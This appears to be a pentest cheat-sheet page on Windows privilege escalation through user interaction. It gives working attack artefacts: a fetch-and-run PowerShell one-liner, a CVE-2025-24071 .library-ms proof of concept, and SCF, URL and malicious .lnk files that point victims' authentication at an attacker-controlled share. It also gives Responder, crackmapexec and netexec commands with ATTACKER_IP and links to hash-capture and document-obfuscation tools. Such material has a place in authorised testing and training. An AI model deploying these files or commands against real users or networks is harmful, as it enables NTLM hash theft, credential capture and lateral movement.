> For the complete documentation index, see [llms.txt](https://0xss0rz.gitbook.io/0xss0rz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xss0rz.gitbook.io/0xss0rz/pentest/privilege-escalation/windows/interacting-with-users.md).

# Interacting with Users

[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA)

## Traffic Capture

<figure><img src="/files/6SOfkfI7IPvn5RvPs9aW" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.instructables.com/How-to-Find-Passwords-Using-Wireshark/>" %}

{% content-ref url="/pages/U8eqdKM6nZf8itEk6Q6C" %}
[Network Attacks](/0xss0rz/pentest/internal-pentest/network-attacks.md)
{% endcontent-ref %}

### Tools

{% embed url="<https://github.com/DanMcInerney/net-creds>" %}
net-creds
{% endembed %}

{% embed url="<https://github.com/lgandx/PCredz>" %}
PCreds
{% endembed %}

{% embed url="<https://github.com/odedshimon/BruteShark>" %}
BruteShark
{% endembed %}

{% embed url="<https://github.com/ShellCode33/CredSLayer>" %}
CredSLayer
{% endembed %}

{% embed url="<https://www.netresec.com/?page=NetworkMiner>" %}
NetMiner - Free Version
{% endembed %}

{% embed url="<https://github.com/mlgualtieri/NTLMRawUnHide>" %}

## **Monitoring for Process Command Lines**

procmon.ps1

```shell-session
while($true)
{

  $process = Get-WmiObject Win32_Process | Select-Object CommandLine
  Start-Sleep 1
  $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
  Compare-Object -ReferenceObject $process -DifferenceObject $process2

}
```

```powershell-session
PS C:\htb> IEX (iwr 'http://10.10.10.205/procmon.ps1') 

InputObject                                           SideIndicator
-----------                                           -------------
@{CommandLine=C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}} =>      
@{CommandLine=“C:\Windows\system32\cmd.exe” }                          =>      
@{CommandLine=\??\C:\Windows\system32\conhost.exe 0x4}                      =>      
@{CommandLine=net use T: \\sql02\backups /user:inlanefreight\sqlsvc My4dm1nP@s5w0Rd}       =>       
@{CommandLine=“C:\Windows\system32\backgroundTaskHost.exe” -ServerName:CortanaUI.AppXy7vb4pc2... <=
```

### Vulnerable Services

Docker Desktop Community Edition before 2.1.0.1.

{% embed url="<https://medium.com/@mrmrogan/elevation-of-privilege-in-docker-for-windows-2fd8450b478e>" %}

The program looks for `docker-credential-wincred.exe` and `docker-credential-wincred.bat` files in the `C:\PROGRAMDATA\DockerDesktop\version-bin\`. This directory was misconfigured to allow full write access to the `BUILTIN\Users` group, meaning that any authenticated user on the system could write a file into it (such as a malicious executable).

Any executable placed in that directory would run when a) the Docker application starts and b) when a user authenticates using the command `docker login`.&#x20;

## CVE-2025-24071: NTLM Hash Leak via RAR/ZIP Extraction and .library-ms File

{% embed url="<https://github.com/0x6rss/CVE-2025-24071_PoC>" %}

{% embed url="<https://research.checkpoint.com/2025/cve-2025-24054-ntlm-exploit-in-the-wild/>" %}

poc.library-ms

```
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="<http://schemas.microsoft.com/windows/2009/library>">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\\\ATTACKER_IP\\SHARE_NAME</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>
```

## SCF on a File Share

{% hint style="info" %}
*Using SCFs no longer works on Server 2019 hosts, but we can achieve the same effect using a malicious* [*.lnk*](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/16cb4ca1-9339-4d0c-a68d-bf1d6cc0f943) *file.*
{% endhint %}

`@Inventory.scf`&#x20;

```shell-session
[Shell]
Command=2
IconFile=\\10.10.14.3\share\legit.ico
[Taskbar]
Command=ToggleDesktop
```

```shell-session
sudo responder -wrf -v -I tun0
```

### ntlm\_theft

{% embed url="<https://github.com/Greenwolf/ntlm_theft>" %}

ntlm\_theft supports the following attack types:

* Browse to Folder Containing
  * .url – via URL field
  * .url – via ICONFILE field
  * .lnk - via icon\_location field
  * .scf – via ICONFILE field (Not Working on Latest Windows)
  * autorun.inf via OPEN field (Not Working on Latest Windows)
  * desktop.ini - via IconResource field (Not Working on Latest Windows)
* **Open Document**
  * .xml – via Microsoft Word external stylesheet
  * .xml – via Microsoft Word includepicture field
  * .htm – via Chrome & IE & Edge img src (only if opened locally, not hosted)
  * .docx – via Microsoft Word includepicture field
  * .docx – via Microsoft Word external template
  * .docx – via Microsoft Word frameset webSettings
  * .xlsx - via Microsoft Excel external cell
  * .wax - via Windows Media Player playlist (Better, primary open)
  * .asx – via Windows Media Player playlist (Better, primary open)
  * .m3u – via Windows Media Player playlist (Worse, Win10 opens first in Groovy)
  * .jnlp – via Java external jar
  * .application – via any Browser (Must be served via a browser downloaded or won’t run)
* **Open Document and Accept Popup**
  * .pdf – via Adobe Acrobat Reader
* Click Link in Chat Program
  * .txt – formatted link to paste into Zoom chat

### CME

```
crackmapexec smb 10.10.10.10 -u username -p password -M scuffy -o NAME=WORK SERVER=ATTACKER_IP
crackmapexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=ATTACKER_IP
crackmapexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=ATTACKER_IP
```

### Rocabella

{% embed url="<https://github.com/nickvourd/Rocabella>" %}

## LNK File on a File Share

### lnkdomb

{% embed url="<https://github.com/dievus/lnkbomb>" %}

**Generating a Malicious .lnk File**

```powershell-session

$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("C:\legit.lnk")
$lnk.TargetPath = "\\<attackerIP>\@pwn.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Browsing to the directory where this file is saved will trigger an auth request."
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()
```

### Netexec

{% embed url="<https://labs.jumpsec.com/ntlm-relaying-making-the-old-new-again/?s=03>" %}

<figure><img src="/files/D49f2RPH4Wk0MxT823i4" alt=""><figcaption></figcaption></figure>

```
nxc smb IP -u username -p password -d domain.local -M slinky -o NAME=Shortcut SERVER=ATTACKER_IP
```

<figure><img src="/files/lOrF6XWwvqlP50Rsg6h5" alt=""><figcaption></figcaption></figure>

### Rocabella

{% embed url="<https://github.com/nickvourd/Rocabella>" %}

## URL Files on a File Share

This attack also works with `.url` files and `responder -I eth0 -v`&#x20;

```
[InternetShortcut] 
URL=whatever 
WorkingDirectory=whatever 
IconFile=\10.10.10.10%USERNAME%.icon 
IconIndex=1
```

## Obfuscated Files

Word, ppt, scf, lnk, etc

{% embed url="<https://github.com/sevagas/macro_pack>" %}

## Interesting Book

{% content-ref url="/pages/VVT5FQq9z62bWoNAWCUS" %}
[Interesting Books](/0xss0rz/interesting-books.md)
{% endcontent-ref %}

{% hint style="info" %}
***Disclaimer**: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.*
{% endhint %}

* [**Pentesting Active Directory and Windows-based Infrastructure**](https://www.amazon.fr/dp/1804611360?tag=0xss0rz-21)\
  Enhance your skill set to pentest against real-world Microsoft infrastructure with hands-on exercises and by following attack/detect guidelines with OpSec considerations
* [**Infrastructure Attack Strategies for Ethical Hacking**](https://www.amazon.fr/dp/8196994729?tag=0xss0rz-21)\
  Encompassing both external and internal enumeration techniques, the book delves into attacking routers and services, establishing footholds, privilege escalation, lateral movement, and exploiting databases and Active Directory.
* [**RTFM: Red Team Field Manual v2**](https://www.amazon.fr/dp/1075091837?tag=0xss0rz-21)\
  A quick reference when there is no time to scour the Internet for that perfect command
* [**Red Team Development and Operations: A practical guide**](https://www.amazon.fr/dp/B0842BMMCC?tag=0xss0rz-21)\
  The authors have moved beyond SANS training and use this book to detail red team operations in a practical guide.
* [**Cybersecurity Attacks – Red Team Strategies**](https://www.amazon.fr/dp/B0822G9PTM?tag=0xss0rz-21)\
  A practical guide to building a penetration testing program having homefield advantage

## Support this Gitbook

I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.

[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA)

[![buymeacoffee](https://cdn.buymeacoffee.com/buttons/v2/default-yellow.png)](https://buymeacoffee.com/0xss0rz)